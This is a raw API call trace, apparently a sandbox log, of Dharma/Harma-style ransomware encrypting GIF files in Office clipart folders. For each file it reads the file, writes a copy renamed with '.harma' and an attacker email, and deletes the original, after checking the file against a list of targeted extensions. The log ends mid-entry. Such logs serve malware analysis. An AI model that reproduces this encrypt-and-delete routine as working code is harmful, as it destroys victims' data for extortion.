[0066.185] lstrlenW (lpString=".7z") returned 3 [0066.185] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0066.185] lstrlenW (lpString=".dbf") returned 4 [0066.185] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0066.185] lstrlenW (lpString=".1cd") returned 4 [0066.185] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0066.185] lstrlenW (lpString=".jpg") returned 4 [0066.185] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.185] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.185] lstrlenW (lpString="AG00135_.GIF") returned 12 [0066.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.187] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=2596) returned 1 [0066.187] CloseHandle (hObject=0x214) returned 1 [0066.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0066.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.187] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.187] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0066.187] GetLastError () returned 0x0 [0066.187] ReadFile (in: hFile=0x214, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0xa24, lpOverlapped=0x0) returned 1 [0066.196] WriteFile (in: hFile=0x20c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0066.197] ReadFile (in: hFile=0x214, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.197] WriteFile (in: hFile=0x20c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.197] SetEndOfFile (hFile=0x20c) returned 1 [0066.197] CloseHandle (hObject=0x20c) returned 1 [0066.197] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.197] SetEndOfFile (hFile=0x214) returned 1 [0066.198] CloseHandle (hObject=0x214) returned 1 [0066.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0066.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0066.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0066.199] lstrlenW (lpString=".doc") returned 4 [0066.199] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.199] lstrlenW (lpString=".docx") returned 5 [0066.199] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.199] lstrlenW (lpString=".pdf") returned 4 [0066.199] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.199] lstrlenW (lpString=".xls") returned 4 [0066.199] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.199] lstrlenW (lpString=".xlsx") returned 5 [0066.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.199] lstrlenW (lpString=".ppt") returned 4 [0066.199] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0066.199] lstrlenW (lpString=".zip") returned 4 [0066.199] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.199] lstrlenW (lpString=".rar") returned 4 [0066.199] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.199] lstrlenW (lpString=".bz2") returned 4 [0066.199] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.199] lstrlenW (lpString=".7z") returned 3 [0066.199] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0066.199] lstrlenW (lpString=".dbf") returned 4 [0066.199] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0066.200] lstrlenW (lpString=".1cd") returned 4 [0066.200] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0066.200] lstrlenW (lpString=".jpg") returned 4 [0066.200] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0066.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0066.200] lstrlenW (lpString=".doc") returned 4 [0066.200] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.200] lstrlenW (lpString=".docx") returned 5 [0066.200] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.200] lstrlenW (lpString=".pdf") returned 4 [0066.200] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.200] lstrlenW (lpString=".xls") returned 4 [0066.200] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.200] lstrlenW (lpString=".xlsx") returned 5 [0066.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.200] lstrlenW (lpString=".ppt") returned 4 [0066.200] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0066.200] lstrlenW (lpString=".zip") returned 4 [0066.200] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.200] lstrlenW (lpString=".rar") returned 4 [0066.200] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.200] lstrlenW (lpString=".bz2") returned 4 [0066.200] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.200] lstrlenW (lpString=".7z") returned 3 [0066.200] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0066.200] lstrlenW (lpString=".dbf") returned 4 [0066.201] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0066.201] lstrlenW (lpString=".1cd") returned 4 [0066.201] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0066.201] lstrlenW (lpString=".jpg") returned 4 [0066.201] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.201] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.201] lstrlenW (lpString="AG00139_.GIF") returned 12 [0066.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.202] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=10607) returned 1 [0066.202] CloseHandle (hObject=0x214) returned 1 [0066.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0066.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.202] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.202] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0066.203] GetLastError () returned 0x0 [0066.203] ReadFile (in: hFile=0x214, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x296f, lpOverlapped=0x0) returned 1 [0066.205] WriteFile (in: hFile=0x20c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x2970, lpOverlapped=0x0) returned 1 [0066.206] ReadFile (in: hFile=0x214, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.206] WriteFile (in: hFile=0x20c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.207] SetEndOfFile (hFile=0x20c) returned 1 [0066.207] CloseHandle (hObject=0x20c) returned 1 [0066.207] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.207] SetEndOfFile (hFile=0x214) returned 1 [0066.208] CloseHandle (hObject=0x214) returned 1 [0066.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0066.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0066.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0066.208] lstrlenW (lpString=".doc") returned 4 [0066.208] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.208] lstrlenW (lpString=".docx") returned 5 [0066.208] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.208] lstrlenW (lpString=".pdf") returned 4 [0066.208] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.208] lstrlenW (lpString=".xls") returned 4 [0066.208] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.208] lstrlenW (lpString=".xlsx") returned 5 [0066.208] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.209] lstrlenW (lpString=".ppt") returned 4 [0066.209] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0066.209] lstrlenW (lpString=".zip") returned 4 [0066.209] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.209] lstrlenW (lpString=".rar") returned 4 [0066.209] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.209] lstrlenW (lpString=".bz2") returned 4 [0066.209] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.209] lstrlenW (lpString=".7z") returned 3 [0066.209] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0066.209] lstrlenW (lpString=".dbf") returned 4 [0066.209] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0066.209] lstrlenW (lpString=".1cd") returned 4 [0066.209] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0066.209] lstrlenW (lpString=".jpg") returned 4 [0066.209] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0066.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0066.209] lstrlenW (lpString=".doc") returned 4 [0066.209] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.209] lstrlenW (lpString=".docx") returned 5 [0066.209] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.209] lstrlenW (lpString=".pdf") returned 4 [0066.209] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.209] lstrlenW (lpString=".xls") returned 4 [0066.209] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.209] lstrlenW (lpString=".xlsx") returned 5 [0066.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.210] lstrlenW (lpString=".ppt") returned 4 [0066.210] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0066.210] lstrlenW (lpString=".zip") returned 4 [0066.210] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.210] lstrlenW (lpString=".rar") returned 4 [0066.210] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.210] lstrlenW (lpString=".bz2") returned 4 [0066.210] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.210] lstrlenW (lpString=".7z") returned 3 [0066.210] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0066.210] lstrlenW (lpString=".dbf") returned 4 [0066.210] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0066.210] lstrlenW (lpString=".1cd") returned 4 [0066.210] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0066.210] lstrlenW (lpString=".jpg") returned 4 [0066.210] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.210] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.210] lstrlenW (lpString="AG00142_.GIF") returned 12 [0066.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.211] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=15308) returned 1 [0066.211] CloseHandle (hObject=0x214) returned 1 [0066.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0066.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.211] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.211] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0066.211] GetLastError () returned 0x0 [0066.211] ReadFile (in: hFile=0x214, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x3bcc, lpOverlapped=0x0) returned 1 [0066.378] WriteFile (in: hFile=0x20c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x3bd0, lpOverlapped=0x0) returned 1 [0066.379] ReadFile (in: hFile=0x214, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.379] WriteFile (in: hFile=0x20c, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.379] SetEndOfFile (hFile=0x20c) returned 1 [0066.379] CloseHandle (hObject=0x20c) returned 1 [0066.379] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.379] SetEndOfFile (hFile=0x214) returned 1 [0066.380] CloseHandle (hObject=0x214) returned 1 [0066.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0067.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0067.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0067.816] lstrlenW (lpString=".doc") returned 4 [0067.818] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0067.825] lstrlenW (lpString=".docx") returned 5 [0067.826] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0067.826] lstrlenW (lpString=".pdf") returned 4 [0067.826] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0067.826] lstrlenW (lpString=".xls") returned 4 [0067.826] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0067.826] lstrlenW (lpString=".xlsx") returned 5 [0067.826] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0067.827] lstrlenW (lpString=".ppt") returned 4 [0067.827] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0067.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0067.827] lstrlenW (lpString=".zip") returned 4 [0067.827] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0067.827] lstrlenW (lpString=".rar") returned 4 [0067.827] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0067.827] lstrlenW (lpString=".bz2") returned 4 [0067.827] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0067.827] lstrlenW (lpString=".7z") returned 3 [0067.827] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0067.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0067.827] lstrlenW (lpString=".dbf") returned 4 [0067.827] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0067.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0067.827] lstrlenW (lpString=".1cd") returned 4 [0067.827] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0067.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0067.827] lstrlenW (lpString=".jpg") returned 4 [0067.827] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0067.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0067.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0067.827] lstrlenW (lpString=".doc") returned 4 [0067.827] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0067.827] lstrlenW (lpString=".docx") returned 5 [0067.827] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0067.827] lstrlenW (lpString=".pdf") returned 4 [0067.827] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0067.827] lstrlenW (lpString=".xls") returned 4 [0067.828] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0067.828] lstrlenW (lpString=".xlsx") returned 5 [0067.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0067.828] lstrlenW (lpString=".ppt") returned 4 [0067.828] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0067.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0067.828] lstrlenW (lpString=".zip") returned 4 [0067.828] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0067.828] lstrlenW (lpString=".rar") returned 4 [0067.828] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0067.828] lstrlenW (lpString=".bz2") returned 4 [0067.828] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0067.828] lstrlenW (lpString=".7z") returned 3 [0067.828] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0067.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0067.828] lstrlenW (lpString=".dbf") returned 4 [0067.828] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0067.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0067.828] lstrlenW (lpString=".1cd") returned 4 [0067.828] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0067.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0067.828] lstrlenW (lpString=".jpg") returned 4 [0067.828] 